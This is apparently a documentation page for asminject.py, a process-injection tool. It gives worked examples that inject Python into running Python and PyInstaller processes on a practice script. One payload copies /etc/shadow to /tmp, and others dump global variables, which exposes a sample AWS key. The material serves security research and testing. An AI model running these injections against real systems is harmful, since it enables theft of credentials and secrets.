Files
asminject/docs/examples-python.md

6.6 KiB

asminject.py examples - Python

[ Back to the main README.md ]

Basic examples

Complex examples

Important

For all Python 3 examples, refer to the position-independent code discussion in the specialized options document. Python 3 before 3.10 is usually not position-independent, but Python 3.10 and later usually are.

Execute arbitrary Python code inside an existing Python process

Launch a harmless Python process that simulates one with access to super-secret, sensitive data. This example uses Python 3, but the syntax for asminject.py is identical for Python 2 target processes, although of course you'd need to specify script code that's valid in Python 2.

$ sudo python3 practice/python_loop.py

2022-05-12T19:46:46.245462 - Loop count 0
2022-05-12T19:46:51.253640 - Loop count 1
2022-05-12T19:46:56.264897 - Loop count 2

In a separate terminal, locate the process and inject some arbitrary Python code into it.

This payload requires one variable: pythoncode, which should contain the Python script code to execute in the existing Python process.

# python3 ./asminject.py 2037475 execute_python_code.s \
   --relative-offsets-from-binaries \
   --var pythoncode "import os; import sys; finput = open('/etc/shadow', 'rb'); foutput = open('/tmp/bishopfox.txt', 'wb'); foutput.write(finput.read()); foutput.close(); finput.close();"
   
...omitted for brevity...

Verify that the file has been copied:

# cat /tmp/bishopfox.txt 

root:!:18704:0:99999:7:::
daemon:*:18704:0:99999:7:::
bin:*:18704:0:99999:7:::
sys:*:18704:0:99999:7:::

Write all global or local variables to standard out

Use the following Python 3 code, which was based on this Stack Overflow discussion

Global variables:

tmp = globals().copy(); [print(k,'  :  ',v,' type:' , type(v)) for k,v in tmp.items()]

Local variables:

tmp = locals().copy(); [print(k,'  :  ',v,' type:' , type(v)) for k,v in tmp.items()]

e.g. for global variables:

# python3 ./asminject.py 249594 execute_python_code.s \
   --relative-offsets-from-binaries \
   --var pythoncode "tmp = globals().copy(); [print(k,'  :  ',v,' type:' , type(v)) for k,v in tmp.items()]"

or for local variables:

# python3 ./asminject.py 249594 execute_python_code.s \
   --relative-offsets-from-binaries \
   --var pythoncode "tmp = locals().copy(); [print(k,'  :  ',v,' type:' , type(v)) for k,v in tmp.items()]"

Example output:

2022-06-09T23:08:56.301925 - Loop count 107
time   :   <module 'time' (built-in)>  type: <class 'module'>
datetime   :   <module 'datetime' from '/usr/lib/python3.9/datetime.py'>  type: <class 'module'>
example_global_var_1   :   AKIASADF9370235SUAS0  type: <class 'str'>
example_global_var_2   :   This value should not be disclosed  type: <class 'str'>
i   :   107  type: <class 'int'>
v   :   time  type: <class 'str'>
2022-06-09T23:09:05.310443 - Loop count 108

Execute arbitrary Python code inside a PyInstaller-Compiled Binary Process

The PyInstaller toolkit allows Python developers to package their scripts into self-contained binary packages that can be run on systems that don't have a compatible Python interpreter installed (on Linux, the result is basically a collection of native-code ELF executables and libraries). Some people think of this as a form of obfuscation, as it increases the difficultly of reverse-engineering the software than if the scripts were available. But a PyInstaller package includes a fully-functional Python interpreter, so one can inject arbitrary Python code into the running process the same way as for a standard Python process.

Start by creating a PyInstaller package, if you don't already have one to test against:

# pip3 install pyinstaller

# cd practice

# pyinstaller python_loop.py

418 INFO: PyInstaller: 5.3
418 INFO: Python: 3.10.5
422 INFO: Platform: Linux-5.18.0-kali2-amd64-x86_64-with-glibc2.33
...omitted for brevity...
5368 INFO: Building COLLECT COLLECT-00.toc
6013 INFO: Building COLLECT COLLECT-00.toc completed successfully.

# file dist/python_loop/python_loop

dist/python_loop/python_loop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9230f3fa19123436d7e9b46b02c11f1e492895c1, for GNU/Linux 2.6.32, stripped

# dist/python_loop/python_loop

2022-09-09T00:50:08.907011 - Loop count 0
2022-09-09T00:50:33.419231 - Loop count 1

In a separate terminal, locate the process and inject code into it just like it was a regular Python process:

# ps auxww | grep python_loop                                                                                              

user      153818  [...] dist/python_loop/python_loop


# python3 ./asminject.py 153818 execute_python_code.s \
	--relative-offsets-from-binaries \
	--var pythoncode "tmp = globals().copy(); [print(k,'  :  ',v,' type:' , type(v)) for k,v in tmp.items()]"

Example output for dumping global variables:

2022-09-09T00:53:08.653563 - Loop count 32
...omitted for brevity...
__loader__   :   <pyimod02_importers.FrozenImporter object at 0x7f6af5260880>  type: <class 'pyimod02_importers.FrozenImporter'>
...omitted for brevity...
os   :   <module 'os' from '/[REDACTED]/practice/dist/python_loop/base_library.zip/os.pyc'>  type: <class 'module'>
...omitted for brevity...
inspect   :   <module 'inspect' from '/[REDACTED]/practice/dist/python_loop/inspect.pyc'>  type: <class 'module'>
...omitted for brevity...
example_global_var_1   :   AKIASADF9370235SUAS0  type: <class 'str'>
example_global_var_2   :   This value should not be disclosed  type: <class 'str'>
i   :   32  type: <class 'int'>
2022-09-09T00:53:17.745785 - Loop count 33

See the Extract Python code from a running process and decompile it page for more detail on reverse-engineering the code from a running PyInstaller-based binary.